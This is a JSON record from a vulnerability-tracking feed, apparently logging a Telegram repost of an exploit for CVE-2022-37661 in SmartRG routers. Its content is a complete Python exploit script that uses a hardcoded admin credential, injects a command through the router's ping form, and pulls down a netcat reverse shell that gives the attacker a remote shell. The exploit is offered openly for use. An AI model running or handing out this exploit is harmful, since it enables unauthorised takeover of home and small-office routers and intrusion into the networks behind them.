{"uuid": "8d7b6b04-4fe2-4c47-9a2b-8948acbe8802", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37661", "type": "seen", "source": "https://t.me/hacking_Attack/68826", "content": "Exploit Collector\nSmartRG Router 2.6.13 Remote Code Execution\n\nhttps://2.bp.blogspot.com/-4wIBcK0z7y4/WWlvHXARtRI/AAAAAAAAILc/wzdKaT4lYrUxiztYZaNra08YExR9F67-wCLcBGAs/s1600/h14.png \nSmartRG Router version 2.6.13 suffers from a remote code execution vulnerability.\n\nSHA-256 | 138378c68bc7e6458e303ffdbc971ff3bc4723934c45f86cd6b2c12f65df9dba\n\nDownload\n# Exploit Title: SmartRG Router - Remote Code Execution\n# Date: 13/06/2022\n# Exploit Author: Yerodin Richards\n# Vendor Homepage: https://adtran.com\n# Version: 2.5.15 / 2.6.13 (confirmed)\n# Tested on: SR506n (2.5.15) & SR510n (2.6.13)\n# CVE : CVE-2022-37661\n\nimport requests\nfrom subprocess import Popen, PIPE\n\nrouter_host = \"http://192.168.1.1\"\nauthorization_header = \"YWRtaW46QWRtMW5ATDFtMyM=\"\n\nlhost = \"lo\"\nlport = 80\n\npayload_port = 81\ndef main():\ne_proc = Popen([\"echo\", f\"rm /tmp/s & mknod /tmp/s p & /bin/sh 0< /tmp/s | nc {lhost} {lport} > /tmp/s\"], stdout=PIPE)\nPopen([\"nc\", \"-nlvp\", f\"{payload_port}\"], stdin=e_proc.stdout)\nsend_payload(f\"|nc {lhost} {payload_port}|sh\")\nprint(\"done.. check shell\")\ndef get_session():\nurl = router_host + \"/admin/ping.html\"\nheaders = {\"Authorization\": \"Basic {}\".format(authorization_header)}\nr = requests.get(url, headers=headers).text\ni = r.find(\"&sessionKey=\") + len(\"&sessionKey=\")\ns = \"\"\nwhile r[i] != \"'\":\ns = s + r[i]\ni = i + 1\nreturn s\ndef send_payload(payload):\nprint(payload)\nurl = router_host + \"/admin/pingHost.cmd\"\nheaders = {\"Authorization\": \"Basic {}\".format(authorization_header)}\nparams = {\"action\": \"add\", \"targetHostAddress\": payload, \"sessionKey\": get_session()}\nrequests.get(url, headers=headers, params=params).text\nmain()\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:24.504880Z"}